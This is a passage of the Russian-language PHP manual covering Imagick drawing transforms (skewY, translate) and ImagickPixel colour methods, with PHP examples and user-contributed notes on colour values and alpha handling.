$draw->setStrokeColor($strokeColor);
$draw->setStrokeWidth(2);
$draw->setFillColor($fillColor);
$draw->rectangle($startX, $startY, $endX, $endY);
$draw->setFillColor($fillModifiedColor);
$draw->skewX($skew);
$draw->rectangle($startX, $startY, $endX, $endY);

$image = new \Imagick();
$image->newImage(500, 500, $backgroundColor);
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Наклоняет текущую систему координат по вертикали

  • « ImagickDraw::skewX
  • ImagickDraw::translate »
  • PHP Manual
  • ImagickDraw
  • Наклоняет текущую систему координат по вертикали

ImagickDraw::skewY

(PECL imagick 2, PECL imagick 3)

ImagickDraw::skewY — Наклоняет текущую систему координат по вертикали

Описание

public ImagickDraw::skewY(float $degrees): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Наклоняет текущую систему координат по вертикали.

Список параметров

degrees

Градус наклона.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::skewY()

<?php
function skewY($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor,
$startX, $startY, $endX, $endY, $skew) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setStrokeWidth(2);
$draw->setFillColor($fillColor);
$draw->rectangle($startX, $startY, $endX, $endY);
$draw->setFillColor($fillModifiedColor);
$draw->skewY($skew);
$draw->rectangle($startX, $startY, $endX, $endY);

$image = new \Imagick();
$image->newImage(500, 500, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Применяет перенос к текущей системе координат

  • « ImagickDraw::skewY
  • ImagickPixel »
  • PHP Manual
  • ImagickDraw
  • Применяет перенос к текущей системе координат

ImagickDraw::translate

(PECL imagick 2, PECL imagick 3)

ImagickDraw::translate — Применяет перенос к текущей системе координат

Описание

public ImagickDraw::translate(float $x, float $y): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Применяет перенос к текущей системе координат, который перемещает начало системы координат в указанную координату.

Список параметров

x

Горизонтальный перенос.

y

Вертикальный перенос.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::translate()

<?php
function translate($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor,
$startX, $startY, $endX, $endY, $translateX, $translateY) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->rectangle($startX, $startY, $endX, $endY);

$draw->setFillColor($fillModifiedColor);
$draw->translate($translateX, $translateY);
$draw->rectangle($startX, $startY, $endX, $endY);

$image = new \Imagick();
$image->newImage(500, 500, $backgroundColor);
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Класс ImagickPixel

(PECL imagick 2, PECL imagick 3)

Обзор классов

class ImagickPixel {
public clear(): bool
public __construct(string $color = ?)
public destroy(): bool
public getColor(int $normalized = 0): array
public getColorAsString(): string
public getColorCount(): int
public getColorQuantum(): array
public getColorValue(int $color): float
public getColorValueQuantum(int $color): int|float
public getHSL(): array
public getIndex(): int
public isPixelSimilar(ImagickPixel $color, float $fuzz): bool
public isPixelSimilarQuantum(string $color, string $fuzz = ?): bool
public isSimilar(ImagickPixel $color, float $fuzz): bool
public setColor(string $color): bool
public setcolorcount(int $colorCount): bool
public setColorValue(int $color, float $value): bool
public setColorValueQuantum(int $color, int|float $value): bool
public setHSL(float $hue, float $saturation, float $luminosity): bool
public setIndex(int $index): bool
}

Содержание

  • ImagickPixel::clear — Очищает ресурсы, связанные с этим объектом
  • ImagickPixel::__construct — Конструктор ImagickPixel
  • ImagickPixel::destroy — Освобождает ресурсы, связанные с этим объектом
  • ImagickPixel::getColor — Возвращает цвет
  • ImagickPixel::getColorAsString — Возвращает цвет в виде строки
  • ImagickPixel::getColorCount — Возвращает количество цветов связанных с этим цветом
  • ImagickPixel::getColorQuantum — Возвращает цвет пикселя в массиве в виде квантовых значений
  • ImagickPixel::getColorValue — Возвращает нормализованное значение цвета канала
  • ImagickPixel::getColorValueQuantum — Получает квантовое значение цвета в ImagickPixel
  • ImagickPixel::getHSL — Возвращает нормализованный HSL-цвет объекта ImagickPixel
  • ImagickPixel::getIndex — Получает индекс цветовой карты пиксельной палочки
  • ImagickPixel::isPixelSimilar — Проверяет расстояние между этим цветом и другим
  • ImagickPixel::isPixelSimilarQuantum — Возвращает true, если расстояние между двумя цветами меньше указанного расстояния
  • ImagickPixel::isSimilar — Проверить разницу между этим цветом и другим
  • ImagickPixel::setColor — Устанавливает цвет
  • ImagickPixel::setColorCount — Устанавливает количество цветов, связанных с этим цветом
  • ImagickPixel::setColorValue — Устанавливает нормализованное значение одного из каналов
  • ImagickPixel::setColorValueQuantum — Устанавливает квантовое значение цветового элемента ImagickPixel
  • ImagickPixel::setHSL — Установка нормализованного HSL цвета
  • ImagickPixel::setIndex — Устанавливает индекс цветовой карты пиксельной палочки

User Contributed Notes

There are no user contributed notes for this page.


Очищает ресурсы, связанные с этим объектом

  • « ImagickPixel
  • ImagickPixel::__construct »
  • PHP Manual
  • ImagickPixel
  • Очищает ресурсы, связанные с этим объектом

ImagickPixel::clear

(PECL imagick 2, PECL imagick 3)

ImagickPixel::clear — Очищает ресурсы, связанные с этим объектом

Описание

public ImagickPixel::clear(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Очищает объект ImagickPixel, оставляя его в первоначальном состоянии и удаляет все цвета связанные с ним.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Конструктор ImagickPixel

  • « ImagickPixel::clear
  • ImagickPixel::destroy »
  • PHP Manual
  • ImagickPixel
  • Конструктор ImagickPixel

ImagickPixel::__construct

(PECL imagick 2, PECL imagick 3)

ImagickPixel::__construct — Конструктор ImagickPixel

Описание

public ImagickPixel::__construct(string $color = ?)
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Создаётся объект ImagickPixel. Если указан цвет, то объект создаётся и инициализируется с этим цветом перед возвращением.

Список параметров

color

Необязательная строка с цветом для использования в инициализации этого объекта.

Возвращаемые значения

В случае успешного выполнения возвращает объект ImagickPixel, в противном случае выбрасывает исключение ImagickPixelException.

Примеры

Пример #1 Пример использования ImagickPixel::construct()

<?php
function construct() {

$columns = 4;

$exampleColors = array(
"rgba(100%, 0%, 0%, 0.5)",
"hsb(33.3333%, 100%, 75%)", // medium green
"hsl(120, 255, 191.25)", //medium green
"graya(50%, 0.5)", // semi-transparent mid gray
"LightCoral", "none", //"cmyk(0.9, 0.48, 0.83, 0.50)",
"#f00", // #rgb
"#ff0000", // #rrggbb
"#ff0000ff", // #rrggbbaa
"#ffff00000000", // #rrrrggggbbbb
"#ffff00000000ffff", // #rrrrggggbbbbaaaa
"rgb(255, 0, 0)", // an integer in the range 0—255 for each component
"rgb(100.0%, 0.0%, 0.0%)", // a float in the range 0—100% for each component
"rgb(255, 0, 0)", // range 0 - 255
"rgba(255, 0, 0, 1.0)", // the same, with an explicit alpha value
"rgb(100%, 0%, 0%)", // range 0.0% - 100.0%
"rgba(100%, 0%, 0%, 1.0)", // the same, with an explicit alpha value
);

$draw = new \ImagickDraw();
$count = 0;
$black = new \ImagickPixel('rgb(0, 0, 0)');

foreach ($exampleColors as $exampleColor) {
$color = new \ImagickPixel($exampleColor);

$draw->setstrokewidth(1.0);
$draw->setStrokeColor($black);
$draw->setFillColor($color);
$offsetX = ($count % $columns) * 50 + 5;
$offsetY = intval($count / $columns) * 50 + 5;
$draw->rectangle(0 + $offsetX, 0 + $offsetY, 40 + $offsetX, 40 + $offsetY);
$count++;
}

$image = new \Imagick();
$image->newImage(350, 350, "blue");
$image->setImageFormat("png");
$image->drawImage($draw);
header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Освобождает ресурсы, связанные с этим объектом

  • « ImagickPixel::__construct
  • ImagickPixel::getColor »
  • PHP Manual
  • ImagickPixel
  • Освобождает ресурсы, связанные с этим объектом

ImagickPixel::destroy

(PECL imagick 2, PECL imagick 3)

ImagickPixel::destroy — Освобождает ресурсы, связанные с этим объектом

Описание

public ImagickPixel::destroy(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Освобождает все ресурсы используемые объектом ImagickPixel и удалят все связанные с ним цвета. Объект не следует использовать после его уничтожения.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цвет

  • « ImagickPixel::destroy
  • ImagickPixel::getColorAsString »
  • PHP Manual
  • ImagickPixel
  • Возвращает цвет

ImagickPixel::getColor

(PECL imagick 2, PECL imagick 3)

ImagickPixel::getColor — Возвращает цвет

Описание

public ImagickPixel::getColor(int $normalized = 0): array

Возвращает цвет в виде массива, описанный в объекте ImagickPixel. Если у цвета установлен канал прозрачности, то он будет отражён в четвёртом значении списка.

Список параметров

normalized

Нормализовать значение цвета. Возможные значения: 0, 1 или 2.

Список возможных значений для normalized
normalized | Описание
0 | Значения RGB возвращаются как целые числа (int) в диапазоне от 0 до 255 (включительно). Альфа-значение возвращается как целое число (int) и равно либо 0, либо 1.
1 | Значения RGBA возвращаются как числа с плавающей точкой (float) в диапазоне от 0 до 1 (включительно).
2 | Значения RGBA возвращаются как целые числа (int) в диапазоне от 0 до 255 (включительно).

Возвращаемые значения

Массив значений канала. Выбрасывает исключение ImagickPixelException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::getColor()

<?php

// Создание ImagickPixel со стандартным цветом 'brown'
$color = new ImagickPixel('brown');

// настройка цвета с альфа каналом 25%
$color->setColorValue(Imagick::COLOR_ALPHA, 64 / 256.0);

$colorInfo = $color->getColor();

echo "Стандартные значения" . PHP_EOL;
print_r($colorInfo);

$colorInfo = $color->getColor(1);

echo "Нормализованные значения:" . PHP_EOL;
print_r($colorInfo);

?>

Результат выполнения данного примера:

Стандартные значения
Array
(
    [r] => 165
    [g] => 42
    [b] => 42
    [a] => 0
)
Нормализованные значения:
Array
(
    [r] => 0.64705882352941
    [g] => 0.16470588235294
    [b] => 0.16470588235294
    [a] => 0.25000381475547
)

User Contributed Notes

roman 10-May-2013 09:27
In case you use default un-normalized getColor value the alpha value will always be either 0 or 1.

If you want to use real full-range 0-1 alpha channel on your 24bit transparent images use the alpha value from the normalized one, even if you use the rest of unnormalized data.

To copy a 24bit png with real alpha transparency, you would have to do this:
<?php

$im=new Imagick( 'image.png' );
$iterator=$im->getPixelIterator();
foreach ($iterator as $row=>$pixels) {
    foreach ( $pixels as $column => $pixel ){
        $un_color=$pixel->getColor(); //unnormalized color
        $nor_color=$pixel->getColor(true); //normalized color
        $pixel->setColor('rgba('.$un_color['r'].','.$un_color['g'].','.$un_color['b'].','.$nor_color['a'].')');
    }
}
?>

If you use 'a' (alpha) value from the unnormalized color there will only be binary transparency.


Возвращает цвет в виде строки

  • « ImagickPixel::getColor
  • ImagickPixel::getColorCount »
  • PHP Manual
  • ImagickPixel
  • Возвращает цвет в виде строки

ImagickPixel::getColorAsString

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

ImagickPixel::getColorAsString — Возвращает цвет в виде строки

Описание

public ImagickPixel::getColorAsString(): string

Возвращает цвет объекта ImagickPixel в виде строки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает цвет объекта ImagickPixel в виде строки.

Примеры

Пример #1 Пример использования Imagick::getColorAsString()

<?php

// Создание ImagickPixel со стандартным цветом 'brown'
$color = new ImagickPixel('brown');

$color->setColorValue(Imagick::COLOR_ALPHA, 64 / 256.0);

$colorInfo = $color->getColorAsString();

print_r($colorInfo);
?>

Результат выполнения данного примера:

rgb(165,42,42)

Примечания

Замечание: Альфа канал не возвращается

Функция не возвращает значения альфа канала для цвета.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество цветов связанных с этим цветом

  • « ImagickPixel::getColorAsString
  • ImagickPixel::getColorQuantum »
  • PHP Manual
  • ImagickPixel
  • Возвращает количество цветов связанных с этим цветом

ImagickPixel::getColorCount

(PECL imagick 2, PECL imagick 3)

ImagickPixel::getColorCount — Возвращает количество цветов связанных с этим цветом

Описание

public ImagickPixel::getColorCount(): int

Возвращает количество цветов связанных с этим цветом.

Количество пикселей изображения, имеющих тот же цвет, что и этот ImagickPixel.

ImagickPixel::getColorCount может работать только с объектами ImagickPixel созданными с помощью Imagick::getImageHistogram()

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает количество цветов в виде числа, в противном случае выбрасывает исключение ImagickPixelException.

Примеры

Пример #1 ImagickPixel getColorCount()

<?php
$imagick = new \Imagick();
$imagick->newPseudoImage(640, 480, "magick:logo");
$histogramElements = $imagick->getImageHistogram();
$lastColor = array_pop($histogramElements);
echo "Last pixel color count is: ".$lastColor->getColorCount();
?>

Вывод будет примерно такой:

Last pixel color count is: 256244

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цвет пикселя в массиве в виде квантовых значений

  • « ImagickPixel::getColorCount
  • ImagickPixel::getColorValue »
  • PHP Manual
  • ImagickPixel
  • Возвращает цвет пикселя в массиве в виде квантовых значений

ImagickPixel::getColorQuantum

(Информация о версии неизвестна, возможно, только в Git)

ImagickPixel::getColorQuantum — Возвращает цвет пикселя в массиве в виде квантовых значений

Описание

public ImagickPixel::getColorQuantum(): array

Возвращает цвет пикселя в массиве в виде квантовых значений. Если ImageMagick был скомпилирован как HDRI, это будут числа с плавающей точкой, в противном случае они будут целыми числами.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив с ключами "r", "g", "b", "a".

User Contributed Notes

There are no user contributed notes for this page.


Возвращает нормализованное значение цвета канала

  • « ImagickPixel::getColorQuantum
  • ImagickPixel::getColorValueQuantum »
  • PHP Manual
  • ImagickPixel
  • Возвращает нормализованное значение цвета канала

ImagickPixel::getColorValue

(PECL imagick 2, PECL imagick 3)

ImagickPixel::getColorValue — Возвращает нормализованное значение цвета канала

Описание

public ImagickPixel::getColorValue(int $color): float

Возвращает значение указанного цвета канала, как дробное число между 0 и 1.

Список параметров

color

Цвет, для которого получается значение, заданный одной из констант Imagick. Это RGB цвет, CMYK цвет, альфа канал или прозрачность (Imagick::COLOR_BLUE, Imagick::COLOR_MAGENTA);

Возвращаемые значения

Значение канала, в виде нормализованного дробного числа, в случае возникновения ошибки будет выброшено исключение ImagickPixelException.

Примеры

Пример #1 Пример использования Imagick::getColorValue()

<?php

$color = new ImagickPixel('rgba(90%, 20%, 20%, 0.75)');

echo "Значение альфа канала ".$color->getColorValue(Imagick::COLOR_ALPHA).PHP_EOL;
echo "".PHP_EOL;
echo "Значение красного канала ".$color->getColorValue(Imagick::COLOR_RED).PHP_EOL;
echo "Значение зелёного канала ".$color->getColorValue(Imagick::COLOR_GREEN).PHP_EOL;
echo "Значение синего канала ".$color->getColorValue(Imagick::COLOR_BLUE).PHP_EOL;
echo "".PHP_EOL;
echo "Значение голубого канала ".$color->getColorValue(Imagick::COLOR_CYAN).PHP_EOL;
echo "Значение пурпурного канала ".$color->getColorValue(Imagick::COLOR_MAGENTA).PHP_EOL;
echo "Значение жёлтого канала ".$color->getColorValue(Imagick::COLOR_YELLOW).PHP_EOL;
echo "Значение чёрного канала ".$color->getColorValue(Imagick::COLOR_BLACK).PHP_EOL;

?>

Результат выполнения данного примера:

Значение альфа канала 0.74999618524453

Значение красного канала 0.90000762951095
Значение зелёного канала 0.2
Значение синего канала 0.2

Значение голубого канала 0.90000762951095
Значение пурпурного канала 0.2
Значение жёлтого канала 0.2
Значение чёрного канала 0

User Contributed Notes

Anonymous 16-Apr-2020 08:21
COLOR_ALPHA - not fully transparent pixel
COLOR_OPACITY - completely transparent pixel
holdoffhunger at gmail dot com 05-Apr-2012 10:34
When getting a color value back with getColorValue, you are free to use any color scheme: either the Red/Green/Blue (RGB) scheme or the Cyan/Magenta/Yellow/blacK (CMYK) scheme.  For RGB, this function works with the constant values of "COLOR_RED", "COLOR_GREEN", and "COLOR_BLUE," and for CMYK, this function works with the constant values of "COLOR_CYAN", "COLOR_MAGENTA", "COLOR_YELLOW", and "COLOR_BLACK".  As a programmer, the main question you're probably asking yourself is "How do I know if one pixel's color is different from the others?"  That seems to be defined as a unique combination of RGB *or* CMYK values.  Each RGB set of values with have a unique set of CMYK values for only that set of RGB values, so an RGB of 1/0.5/0.5 with have a unique set of CMYK values, shared only by the other pixels of the same exact RGB values.

Why the CMYK?  Because that is the standard for printing, or to quote the Imagick site, "As such for printing we use four colored inks: Cyan, Magenta, Yellow, and blacK; and define images using these inks, to form a CMYK color space."  By being a "color space", you get the choice of working with either RGB or CMYK when defining a pixel as being unique among a set of pixels.  But you are completely free to go with either RGB or CMYK.  For more on it from the Imagick Site:

http://www.imagemagick.org/Usage/color_basics/

Some code that demonstrates both methods: (for a purple-ish red pixel)

<?php

        // Grab Pixel
        // ---------------------------------------------------

    $pixel_one = $imagick_type->getImagePixelColor(0,0);

        // Grab Alpha/Opacity Values
        // ---------------------------------------------------

    $pixel_one_color_value_alpha = $pixel_one->getColorValue(imagick::COLOR_ALPHA);
    $pixel_one_color_value_opacity = $pixel_one->getColorValue(imagick::COLOR_OPACITY);

        // Grab Red/Green/Blue (RGB) Values
        // ---------------------------------------------------

    $pixel_one_color_value_red = $pixel_one->getColorValue(imagick::COLOR_RED);
    $pixel_one_color_value_green = $pixel_one->getColorValue(imagick::COLOR_GREEN);
    $pixel_one_color_value_blue = $pixel_one->getColorValue(imagick::COLOR_BLUE);

        // Grab Cyna/Magenta/Yellow/blacK (CMYK) Values
        // ---------------------------------------------------

    $pixel_one_color_value_cyan = $pixel_one->getColorValue(imagick::COLOR_CYAN);
    $pixel_one_color_value_magenta = $pixel_one->getColorValue(imagick::COLOR_MAGENTA);
    $pixel_one_color_value_yellow = $pixel_one->getColorValue(imagick::COLOR_YELLOW);
    $pixel_one_color_value_black = $pixel_one->getColorValue(imagick::COLOR_BLACK);

        // Print Results
        // ---------------------------------------------------

    print("Alpha: $pixel_one_color_value_alpha<br>");
    print("Opacity: $pixel_one_color_value_opacity<br><br>");

    print("---------------------------------------------<br><br>");

    print("Red: $pixel_one_color_value_red<br>");
    print("Green: $pixel_one_color_value_green<br>");
    print("Blue: $pixel_one_color_value_blue<br><br>");

    print("Cyan: $pixel_one_color_value_cyan<br>");
    print("Magenta: $pixel_one_color_value_magenta<br>");
    print("Yellow: $pixel_one_color_value_yellow<br>");
    print("Black: $pixel_one_color_value_black<br><br>");

    /*
            Example Results : : :
            -----------------------

Alpha: 1
Opacity: 0

---------------------------------------------

Red: 1
Green: 0.501960784314
Blue: 0.501960784314

Cyan: 1
Magenta: 0.501960784314
Yellow: 0.501960784314
Black: 0

    */

?>
mwwaygoo AT hotmail DOT com 18-May-2010 03:56
QUOTE: $color   The channel to check, specified as one of the Imagick channel constants.

$color is a COLOR_* constant, not a channel constant

e.g.
<?php
$image=new Imagick();
$image->readImage('test.png');
$point=$image->getImagePixelColor(0,0);
echo ' Alpha:'.$point->getColorValue(imagick::COLOR_ALPHA);
echo ' Opacity:'.$point->getColorValue(imagick::COLOR_OPACITY);
echo ' R:'.$point->getColorValue(imagick::COLOR_RED);
echo ' G:'.$point->getColorValue(imagick::COLOR_GREEN);
echo ' B:'.$point->getColorValue(imagick::COLOR_BLUE);
?>


Получает квантовое значение цвета в ImagickPixel

  • « ImagickPixel::getColorValue
  • ImagickPixel::getHSL »
  • PHP Manual
  • ImagickPixel
  • Получает квантовое значение цвета в ImagickPixel

ImagickPixel::getColorValueQuantum

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

ImagickPixel::getColorValueQuantum — Получает квантовое значение цвета в ImagickPixel

Описание

public ImagickPixel::getColorValueQuantum(int $color): int|float

Получает квантовое значение цвета в ImagickPixel. Возвращаемое значение - это число с плавающей точкой, если ImageMagick был скомпилирован с HDRI, в противном случае - целое число.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Квантовое значение цветового элемента. Число с плавающей точкой, если ImageMagick был скомпилирован с HDRI, иначе - целое число.

Примеры

Пример #1 Пример использования ImagickPixel::getColorValueQuantum()

<?php
$color = new \ImagickPixel('rgb(128, 5, 255)');
$colorRed = $color->getColorValueQuantum(\Imagick::COLOR_RED);
$colorGreen = $color->getColorValueQuantum(\Imagick::COLOR_GREEN);
$colorBlue = $color->getColorValueQuantum(\Imagick::COLOR_BLUE);
$colorAlpha = $color->getColorValueQuantum(\Imagick::COLOR_ALPHA);

printf(
"Красный: %s Зелёный: %s Синий %s Альфа: %s",
$colorRed,
$colorGreen,
$colorBlue,
$colorAlpha
);

?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает нормализованный HSL-цвет объекта ImagickPixel

  • « ImagickPixel::getColorValueQuantum
  • ImagickPixel::getIndex »
  • PHP Manual
  • ImagickPixel
  • Возвращает нормализованный HSL-цвет объекта ImagickPixel

ImagickPixel::getHSL

(PECL imagick 2, PECL imagick 3)

ImagickPixel::getHSL — Возвращает нормализованный HSL-цвет объекта ImagickPixel

Описание

public ImagickPixel::getHSL(): array

Возвращает нормализованный HSL-цвет, описанный объектом ImagickPixel, каждое из трёх значений является дробным числом между 0.0 и 1.0.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает HSL-значение в виде массива с ключами "hue", "saturation" и "luminosity". В случае возникновения ошибки будет выброшено исключение ImagickPixelException.

Примеры

Пример #1 Пример использования Imagick::getHSL()

<?php

$color = new ImagickPixel('rgb(90%, 10%, 10%)');

$colorInfo = $color->getHSL();

print_r($colorInfo);

?>

Результат выполнения данного примера:

Array
(
    [hue] => 0
    [saturation] => 0.80001220740379
    [luminosity] => 0.50000762951095
)

Примечания

Замечание:

Доступно с библиотекой ImageMagick версии 6.2.9 или выше.

User Contributed Notes

rio at rio dot st 06-Aug-2009 10:25
This function needs ImageMagick > 6.2.8

In imagickpixel_class.c
#if MagickLibVersion > 0x628
/* {{{ proto array ImagickPixel::getHSL()
        Returns the normalized HSL color of the pixel wand in an array with the keys "hue", "saturation", and "luminosity".
*/


Получает индекс цветовой карты пиксельной палочки

  • « ImagickPixel::getHSL
  • ImagickPixel::isPixelSimilar »
  • PHP Manual
  • ImagickPixel
  • Получает индекс цветовой карты пиксельной палочки

ImagickPixel::getIndex

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

ImagickPixel::getIndex — Получает индекс цветовой карты пиксельной палочки

Описание

public ImagickPixel::getIndex(): int

Получает индекс цветовой карты пиксельной палочки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Проверяет расстояние между этим цветом и другим

  • « ImagickPixel::getIndex
  • ImagickPixel::isPixelSimilarQuantum »
  • PHP Manual
  • ImagickPixel
  • Проверяет расстояние между этим цветом и другим

ImagickPixel::isPixelSimilar

(PECL imagick 3 >= 3.3.0)

ImagickPixel::isPixelSimilar — Проверяет расстояние между этим цветом и другим

Описание

public ImagickPixel::isPixelSimilar(ImagickPixel $color, float $fuzz): bool

Проверяет расстояние между цветом, описанным этим объектом ImagickPixel, и цветом предоставленного объекта, нанося их значения RGB на цветной куб. Если расстояние между двумя точками меньше заданного значения размытия, цвета схожи. Метод заменяет ImagickPixel::isSimilar() и корректно нормализует значение fuzz в ImageMagick QuantumRange.

Список параметров

color

Объект ImagickPixel для сравнения с текущим объектом.

fuzz

Максимальное расстояние, на котором можно считать эти цвета одинаковыми. Теоретическим максимумом для этого значения является квадратный корень из трёх (1,732).

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает true, если расстояние между двумя цветами меньше указанного расстояния

  • « ImagickPixel::isPixelSimilar
  • ImagickPixel::isSimilar »
  • PHP Manual
  • ImagickPixel
  • Возвращает true, если расстояние между двумя цветами меньше указанного расстояния

ImagickPixel::isPixelSimilarQuantum

(PECL imagick 3 >= 3.3.0)

ImagickPixel::isPixelSimilarQuantum — Возвращает true, если расстояние между двумя цветами меньше указанного расстояния

Описание

public ImagickPixel::isPixelSimilarQuantum(string $color, string $fuzz = ?): bool

Возвращает true, если расстояние между двумя цветами меньше указанного расстояния. Значение fuzz должно быть в диапазоне от 0 до QuantumRange. Максимальное значение представляет максимально возможное расстояние в цветовом пространстве. Например, от RGB (0, 0, 0) до RGB (255, 255, 255) для цветового пространства RGB

Список параметров

color

fuzz

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Проверить разницу между этим цветом и другим

  • « ImagickPixel::isPixelSimilarQuantum
  • ImagickPixel::setColor »
  • PHP Manual
  • ImagickPixel
  • Проверить разницу между этим цветом и другим

ImagickPixel::isSimilar

(PECL imagick 2, PECL imagick 3)

ImagickPixel::isSimilar — Проверить разницу между этим цветом и другим

Описание

public ImagickPixel::isSimilar(ImagickPixel $color, float $fuzz): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Проверяется разница цвета, описанного текущим объектом ImagickPixel и цвета в переданном объекте, путём построения их RGB значений в цветовом кубе. Если разница между ними меньше чем переданное fuzz-значение, то цвета считаются одинаковыми. Устарел в пользу ImagickPixel::isPixelSimilar().

Список параметров

color

Объект ImagickPixel для сравнения с текущим объектом.

fuzz

Максимальная разница, при которой цвета будут считаться одинаковыми. Теоретическим максимумом для этого значения можно считать квадратный корень из трёх (1.732).

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования ImagickPixel::isSimilar()

<?php
// Тесты ниже написаны с учётом максимальной дистанции 255
// следовательно мы должны масштабировать их на корень из 3 - длину диагонали
// единичного куба
$root3 = 1.732050807568877;

$tests = array(
['rgb(245, 0, 0)', 'rgb(255, 0, 0)', 9 / $root3, false,],
['rgb(245, 0, 0)', 'rgb(255, 0, 0)', 10 / $root3, true,],
['rgb(0, 0, 0)', 'rgb(7, 7, 0)', 9 / $root3, false,],
['rgb(0, 0, 0)', 'rgb(7, 7, 0)', 10 / $root3, true,],
['rgba(0, 0, 0, 1)', 'rgba(7, 7, 0, 1)', 9 / $root3, false,],
['rgba(0, 0, 0, 1)', 'rgba(7, 7, 0, 1)', 10 / $root3, true,],
['rgb(128, 128, 128)', 'rgb(128, 128, 120)', 7 / $root3, false,],
['rgb(128, 128, 128)', 'rgb(128, 128, 120)', 8 / $root3, true,],
['rgb(0, 0, 0)', 'rgb(255, 255, 255)', 254.9, false,],
['rgb(0, 0, 0)', 'rgb(255, 255, 255)', 255, true,],
['rgb(255, 0, 0)', 'rgb(0, 255, 255)', 254.9, false,],
['rgb(255, 0, 0)', 'rgb(0, 255, 255)', 255, true,],
['black', 'rgba(0, 0, 0)', 0.0, true],
['black', 'rgba(10, 0, 0, 1.0)', 10.0 / $root3, true],);

$output = "<table width='100%' class='infoTable'><thead>
<tr>
<th>
Color 1
</th>
<th>
Color 2
</th>
<th>
Тестовая дистанция * 255
</th>
<th>
Есть в пределах досягаемости
</th>
</tr>
</thead>";

$output .= "<tbody>";

foreach ($tests as $testInfo) {
$color1 = $testInfo[0];
$color2 = $testInfo[1];
$distance = $testInfo[2];
$expectation = $testInfo[3];
$testDistance = ($distance / 255.0);

$color1Pixel = new \ImagickPixel($color1);
$color2Pixel = new \ImagickPixel($color2);

$isSimilar = $color1Pixel->isPixelSimilar($color2Pixel, $testDistance);

if ($isSimilar !== $expectation) {
echo "Тест дистанции провален. Цвет [$color1] в сравнении с [$color2] не попадает в дистанцию $testDistance.".NL;
}

$layout = "<tr>
<td>%s</td>
<td>%s</td>
<td>%s</td>
<td style='text-align: center;'>%s</td>
</tr>";

$output .= sprintf(
$layout,
$color1,
$color2,
$distance,
$isSimilar ? 'да' : 'нет'
);
}

$output .= "</tbody></table>";

return $output;

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цвет

  • « ImagickPixel::isSimilar
  • ImagickPixel::setColorCount »
  • PHP Manual
  • ImagickPixel
  • Устанавливает цвет

ImagickPixel::setColor

(PECL imagick 2, PECL imagick 3)

ImagickPixel::setColor — Устанавливает цвет

Описание

public ImagickPixel::setColor(string $color): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает цвет объекта ImagickPixel указанной строкой (например "blue", "#0000ff", "rgb(0,0,255)", "cmyk(100,100,100,10)" и т.д.).

Список параметров

color

Определение цвета для использования в порядке инициализации объекта ImagickPixel.

Возвращаемые значения

Возвращает true если цвет был установлен, в противном случае false.

Примеры

Пример #1 Пример использования ImagickPixel::setColor()

<?php
function setColor() {
$draw = new \ImagickDraw();

$strokeColor = new \ImagickPixel('green');
$fillColor = new \ImagickPixel();
$fillColor->setColor('rgba(100%, 75%, 0%, 1.0)');

$draw->setstrokewidth(3.0);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->rectangle(200, 200, 300, 300);

$image = new \Imagick();
$image->newImage(500, 500, "SteelBlue2");
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает количество цветов, связанных с этим цветом

  • « ImagickPixel::setColor
  • ImagickPixel::setColorValue »
  • PHP Manual
  • ImagickPixel
  • Устанавливает количество цветов, связанных с этим цветом

ImagickPixel::setColorCount

(PECL imagick 2, PECL imagick 3)

